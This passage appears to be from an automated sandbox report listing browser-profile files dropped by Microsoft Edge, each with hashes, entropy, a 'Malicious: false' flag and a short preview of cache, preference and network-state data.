SHA-512:	29F54B08BD57B3251C0E342E2832A618279AF26BA001CDFA2111BF75B8A9F02B0C02B61163FF51DB12204612B043A5E9A2EF9E879AD4001B076DF541E94B8923
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375888524379073","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375888524379073","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113653
Entropy (8bit):	5.58005220720046
Encrypted:	false
SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlH1V0dr4WriL/rDL/r4f3:f9LyxPXfOrr1lMe1z6rWX1Qs2iL/HL/+
MD5:	A295B685EF037F037A9ABBB7F038B901
SHA1:	F3B599B6BB3700A2C768DF75C2C457DA66ACE34A
SHA-256:	31A8E8E1E334F7CC3AD287863FA99037A66AC81A3A9F9579723B79CFB27C72E9
SHA-512:	1224435599ECDC1B5C8B6749730B0B723927D31C382B92B533FCFB54D56A3ECEB591AB934E6D95F8D121969EFF3A47ADA563C06E8E71F500F54CB4499F321669
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187825
Entropy (8bit):	6.3815399035533
Encrypted:	false
SSDEEP:	3072:pdDfwnALow9wFNzkO/FHy2Dj1TZFvOHW8BjPGwL/3WRPoC4vP:V9wr/8SFZFW2ej3L/G54vP
MD5:	10F1DA972C363570913B238014DAF682
SHA1:	9009F7040808C1FB2E639BAE4B910C9C6E3C3423
SHA-256:	D4E5FFC84E75E4CB6DC63EE28C85C5F9D2DD60D542892C08093FB9084180D435
SHA-512:	6D1F7871D0590C417BAD88B3C51DE9DED4BF74E6B973AE1506F319381C85411441F000E0DFD4BE65CFED3B035F49C02A264BA5DBF0B66F7A3261B24930EABEAD
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTX........,T.8..`,.....L`.....,T...`......L`......Rc..{.....exports...Rc...@....module....Rc..Ue....define....Rb.>.}....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.BGv.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....S...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:BklXAR0Xl/lrV/lxE0tllzGVJ+:yNAK60YL+
MD5:	EBB2B694B361DCCA60D74908924AE0FB
SHA1:	EA3A93ABE31FF8C535216BF2403B5B856A1074A3
SHA-256:	E2AA619BD4FA3BFEED7629FBA5A3B41E90C9394C9524F2EE5846E3CC2BF8D7BD
SHA-512:	AE7F45D09207B9E07B26B5D66B474DA635A9783399290AE37F51AD8D43D72382F8C61225BF7E8E0CFC9D426992C6D25797544D0E81C656D2702E9FDB1DD5EBDC
Malicious:	false
Preview:	@.....j.oy retne.........................X....,..................G.L./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:BklXAR0Xl/lrV/lxE0tllzGVJ+:yNAK60YL+
MD5:	EBB2B694B361DCCA60D74908924AE0FB
SHA1:	EA3A93ABE31FF8C535216BF2403B5B856A1074A3
SHA-256:	E2AA619BD4FA3BFEED7629FBA5A3B41E90C9394C9524F2EE5846E3CC2BF8D7BD
SHA-512:	AE7F45D09207B9E07B26B5D66B474DA635A9783399290AE37F51AD8D43D72382F8C61225BF7E8E0CFC9D426992C6D25797544D0E81C656D2702E9FDB1DD5EBDC
Malicious:	false
Preview:	@.....j.oy retne.........................X....,..................G.L./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF42bcf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:BklXAR0Xl/lrV/lxE0tllzGVJ+:yNAK60YL+
MD5:	EBB2B694B361DCCA60D74908924AE0FB
SHA1:	EA3A93ABE31FF8C535216BF2403B5B856A1074A3
SHA-256:	E2AA619BD4FA3BFEED7629FBA5A3B41E90C9394C9524F2EE5846E3CC2BF8D7BD
SHA-512:	AE7F45D09207B9E07B26B5D66B474DA635A9783399290AE37F51AD8D43D72382F8C61225BF7E8E0CFC9D426992C6D25797544D0E81C656D2702E9FDB1DD5EBDC
Malicious:	false
Preview:	@.....j.oy retne.........................X....,..................G.L./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1e995c42-9f92-4fb5-8fcd-2634e4899b56.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6bca85b4-6bb2-4aab-9d03-d57a457adda6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3afd9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\aa640e7c-742d-4802-82ee-c4879b71b9fb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c67b15d0-2f20-4909-811a-e2bc31ac05d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ba6db4b5-48c2-4ab2-8a38-642b5d0581db.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14472
Entropy (8bit):	5.3028131898021575
Encrypted:	false
SSDEEP:	192:stGJ99QTryDiuabatSuyphs9taFvrEy7l2kGrayNt/638QbV+FwOQwa0UGPnYJ:stGPGQSu4hs9tCDL7HbGJQwoj
MD5:	DA2BF1A603C60F30B8BEDD0C614320C7
SHA1:	D94D0724DB30EE0271BFD3358FB063D974E1E92F
SHA-256:	CD39009D9C68A6FFECF5A4924B48C9107629450650E3EA67AFF7CB156769E43A
SHA-512:	AFE307C11AADFAB8A27C3C54A78AD7283D4C78F81399EFA51CC6FAD1B981DF79781FF11EA3E19A39E0C023BB12E8306654FD82FD6A83313B679064EEAD839E94
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375888525110821","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cba68ba9-ce05-42cf-8107-eb2a4ede0ad7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.565323837061743
Encrypted:	false
SSDEEP:	768:w4g6niW+n7pLGLpNoW5w6Af40X8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPY/NfIolG:w30i5hcpNoWa6AfpXu1jaZ/NllSbtF
MD5:	315A1797775C903C7D1AB2622FF7EF9E
SHA1:	2904F1364579B8A036CC5A8343CBC9E01323969B
SHA-256:	B4AA9A5D58568FA967B4F141DC60C041000E544BAE9C6704CAE9661AA970C7A7
SHA-512:	29F54B08BD57B3251C0E342E2832A618279AF26BA001CDFA2111BF75B8A9F02B0C02B61163FF51DB12204612B043A5E9A2EF9E879AD4001B076DF541E94B8923
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375888524379073","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375888524379073","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e736ce39-2912-450f-8412-d7512a9c4ec5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e78163f9-d849-463b-9acb-af1369eba5b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17540), with no line terminators
Category:	dropped
Size (bytes):	17540
Entropy (8bit):	5.47738174249585
Encrypted:	false
SSDEEP:	192:stGJ99QTryDiuabatSuyphs9taFvrEy7l2kGrayNt/5gKLklqlgU2E38QbV+FwOD:stGPGQSu4hs9tCDL7iHOYtTbGJQw0o3j
MD5:	2B8D4FD3279712C6D29D0DB4AF0534A6
SHA1:	0D9E53DE92A88C3A93031B2B0BEC86878F7C9851
SHA-256:	AC87B3AF3BF1DC5D5E70C048EB4497B8E4C539DD7D85F9D43F32D7FC0CD3B010
SHA-512:	A97070C90CE29E0D57F2C5C3076759197F482616D46E9747E027D1AD4164F77ADE81874F328EDB24631479C8920C678C10EAE7F0A3C94C52D9D36EAF2F59052E
Malicious:	false
